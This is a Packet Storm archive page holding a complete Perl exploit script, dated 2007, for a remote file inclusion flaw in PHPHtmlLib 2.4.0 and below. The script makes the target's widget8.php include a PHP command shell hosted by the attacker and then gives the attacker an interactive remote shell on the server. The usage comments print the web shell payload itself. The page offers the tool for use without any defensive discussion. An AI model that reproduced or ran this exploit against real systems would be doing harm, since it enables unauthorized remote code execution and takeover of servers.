what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phphtmllib-rfi.txt

phphtmllib-rfi.txt
Posted May 8, 2007
Authored by Ilker Kandemir

PHPHtmlLib versions 2.4.0 and below remote file inclusion exploit.

tags | exploit, remote, code execution, file inclusion
SHA-256 | c87e75beec6b299259355cfec7568e9b0d0bf307173838dd18e7ee2261849f83

phphtmllib-rfi.txt

Change Mirror Download
#!/usr/bin/perl
use LWP::UserAgent;
#/*
#+**************************************************************
#- AYYILDIZ TEAM // AYYILDIZ.ORG
#+
#+**************************************************************
#+
#- PHPHtmlLib <= 2.4.0 Remote File Include Exploit
#+
#+**************************************************************
#+
#- [Script name: PHPHtmlLib 2.4.0
#- [Script site: http://phphtmllib.newsblob.com/downloads/files/phphtmllib-2.4.0.tgz
#+
#+**************************************************************
#+
#- Coded by iLker Kandemir
#+
#- Contact: ilkerkandemir<at>mynet<dot>com
#-
#- info: */ Siz Yokken AYYILDIZ Vardi */
#+
#+**************************************************************
#+
#- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG
#-
#- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com
#!
#+
#+**************************************************************
# usage:
# perl exploit.pl <PHP Locaction> <shell location> <shell cmd>
#
# perl exploit.pl http://site.com/[PHP_Path]/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
#
$ayt = $ARGV[0];

$aytcmd = $ARGV[1];

$kumanda = $ARGV[2];

if($ayt!~/http:\/\// || $aytcmd!~/http:\/\// || !$kumanda){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET=>$ayt. '/examples/widget8.php?phphtmllib='.$aytcmd.'?&'.$kumanda.'='.$cmd)or die "\nCouldNot connect\n";
$res = $xpl->request($req);

$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/)

{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}

elsif ($return =~/^<br.\/>.<b>Warning/) {print "\nInvalid Command\n\n"}

if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{

$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;


}
else {print "[shell] \$";}}}last;

sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "+ AYYILDIZ TEAM // AYYILDIZ.ORG +\n";
print "+ PHPHtmlLib <= Remote File Include Exploit +\n";
print "+ AYYILDIZ.ORG +\n";
print "+ iLker Kandemir [ O Bir Dunya Markasi ] +\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}
sub usage()
{
head();
print " Usage: perl exploit.pl <PHP Locaction> <shell location> <shell cmd>\r\n\n";
print " <PPHP Locaction> - Full path to PHP ex: http://www.xxx-site.com/examples\r\n";
print " <shell location> - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txt\r\n";
print " <shell cmd> - Command variable used in php shell \r\n";
print " ============================================================================\r\n";
print " by: iLker Kandemir \r\n";
print " ilkerkandemir@mynet.com \r\n";
print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann \r\n";
print " ============================================================================\r\n";

exit();

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close